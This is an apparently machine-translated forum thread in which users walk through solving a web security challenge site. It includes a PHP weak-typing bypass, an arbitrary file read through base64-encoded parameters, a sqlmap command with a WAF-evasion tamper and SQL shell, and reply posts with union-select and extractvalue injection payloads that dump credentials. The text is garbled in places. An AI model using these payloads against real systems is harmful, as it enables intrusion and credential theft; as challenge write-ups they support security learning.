Code auditing solution of fortune Security

Code auditing solution of fortune Security

Address: http://yuebaomei.com/

For example
 
First of all, if you are a male compatriot, select male.

Then ask why you have a man.
 

Yes, sir.

Now you have to enter the answer, so that you can find it in the book, open the page source code, Mao did not
Start debugging and look for it in js.
I found an ambiguous string: wo ai anquanbao
 

Then enter the correct information...
 

Next question: it should be an image, but the access is restricted.
 

I got stuck here. I went to find a tool to bypass. I couldn't do it for a long time.
Then you can open the debugging and see a request:
Http://yuebaomei.com/show.php? P = dGlzaGkucG5n
 

It prompts yuehui.png that direct access to this will not work.
Then, the connected Pinterest value is reached, and the base64is followed by tishi.png.
We know that this yuehui.png should be a final image, and we also encode it with base64.
Actually, the following picture prompts you: yuehui.png
Http://yuebaomei.com/show.php? P = dGlzaGkucG5n
Http://yuebaomei.com/show.php? P=tishi.png
Http://yuebaomei.com/show.php? P=yuehui.png
Http://yuebaomei.com/show.php? P = eXVlaHVpLnBuZw =

Then visit the final url:
Http://yuebaomei.com/show.php? P = eXVlaHVpLnBuZw = Finally, the correct page is displayed.
 

Now you can have a date with Babygirl ~~

After seeing the final prize, I will continue to answer questions and see what the prize is...

There are three types of questions next. We select code audit.
 

The Code prompts:
Http://q5c.yuebaomei.com/

$flag = "THIS IS FLAG"; if  ("POST" == $_SERVER['REQUEST_METHOD']) { $password = $_POST['password']; if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) { echo 'Wrong Format'; exit; } while (TRUE) { $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr)) break; $c = 0; $ps = array('punct', 'digit', 'upper', 'lower'); foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break; if ("42" == $password) echo $flag; else echo 'Wrong password'; exit; } } ?>

The meaning here is:
Receive the value of the post parameter password
Must contain more than 12 characters
It must be non-space and non-TAB content ([: graph:] represents the characters printable and visible. In the bird's brother's book, it is a space character (Space key and [TAB] key) other buttons)
Then, your password must contain uppercase and lowercase numbers and characters, and the number of matching times must be greater than 6.
The last test point here is:
If ("42" = $ password) echo $ flag;
Else echo 'wrong password ';

At first glance, how is the password equivalent to 42? Some people say this is wrong...
In fact, it's okay to use fuzz here. You just need to let him meet the above rules and run it slowly.
First of all, what can be equal to 42?
What I can think:
Var_dump ("42" = "0x2a ");
Var_dump ("42" = "42.0e ");

Then the first attempt failed several times.
Use the second
Var_dump ("42" = "42.0e0000 ");
Var_dump ("42" = "42.00e0000 ");
Var_dump ("42" = "42.00e + ");
Var_dump ("42" = "Maid + 00000000000 );

OK. The final answer is: 42.00e + 00000000000.
Of course, this can also be done: 410000000000000e-1
Then, enter your answer on the http://q5c.yuebaomei.com/page:
Women ai baomei
 

The answer is also drunk ....
Finally, enter the answer women ai baomei to pass the test.

 


Then there are SQL injection and android questions. android questions are not answered.
Chu Niu who can inject SQL statements like this:
Python./sqlmap. py-u "http://yuebaomei.ztx.io/login" -- data "username = admin & password = a" -- tamper = modsecurityversioned. py-D test-T users -- SQL-shell

When I went back to the test in the evening, the questions were no longer reinforced...

What other tips do you have to offer? There are two other types of questions that you have already made. Let's share them.

Share to: 2

 

27 replies 1 # Chu (learning ing .) |

The SQL statement is quite simple at the very beginning. You can use manual testing to inline comments, and then you can use tamper directly. Later, I learned about the click-through rate of my account, http://sh3ll.me/2015/02/12/php-weak-typing/, which is shown in drops.

2 # My5t3ry |

Send my php code Audit
+ 42.20.000000e0
SQL Injection:
Username = admin \ & password = union /*! 50000select */1, group_concat (username, 0x7c, password), 3 /*! 50000from */users % 23

3 # Tea (◆ strong. invalid. submit. release, release. invalid. pressure. success, fail. solution. invalid. operator ◆ real person] View | frequency. internet. address: wWw. wooyun. org ◆ @ programmer xSsEr @ Wooyun success ◆ success. invalid. submit. release, release. invalid. pressure. success, fail. solution. invalid. operator ◆ real person] View | frequency. internet. address: zOnE. wooyun. org ◆ success) |

Yesterday.
Username = 1', extractvalue (1, concat (0x7e, (select {x password} from {x test. users} where username = 'admin') # & password = 111
In this way.
Http://zone.wooyun.org/content/18601

4 # Tea (◆ strong. invalid. submit. release, release. invalid. pressure. success, fail. solution. invalid. operator ◆ real person] View | frequency. internet. address: wWw. wooyun. org ◆ @ programmer xSsEr @ Wooyun success ◆ success. invalid. submit. release, release. invalid. pressure. success, fail. solution. invalid. operator ◆ real person] View | frequency. internet. address: zOnE. wooyun. org ◆ success) |

@ My5t3ry + 42.0e000000 ..

5 # My5t3ry |

In addition, you can read the source code of any file at http://yuebaomei.com/show.php,
Show. php/check. php, etc.

6 # reply to this person and thank My5t3ry |

 

 $q = $_POST["q"];  $a = $_POST["a"];  $pkey_path = "/path/to/rsa/private/key";  function check_question_number($num)  {    $arr = array("1", "2", "3");    foreach ($arr as $n)    {      if (!strcmp($num, $n))        return TRUE;    }    return FALSE;  }  $ans = array("answer1", "answer2", "answer3");  $response = array( "success" => FALSE, "data" => array("code" => "0"), "message" => "" );  if (NULL == $q or NULL == $a)  {    $response["success"] = FALSE;    $response["message"] = "empty parameter";  }  else if (!check_question_number($q))  {    $response["success"] = FALSE;    $response["message"] = "wrong parameter";  }  else  {    $answer = $ans[$q - 1];    if (!strcmp($a, $answer))    {      $private_key = openssl_pkey_get_private(file_get_contents($pkey_path));      $strong = TRUE;      $token = "AQB:" . base64_encode(openssl_random_pseudo_bytes(12, $strong));      openssl_private_encrypt($token, $verify_code, $private_key);      $response["success"] = TRUE;      $response["data"]["code"] = base64_encode($verify_code);      $response["message"] = "ok";    }    else    {      $response["success"] = FALSE;      $response["message"] = "WRONG ANSWER";    }  }  header("Content-Type: application/json");  echo json_encode($response);?>

Yesterday, I started to read check. php, and then I went there ........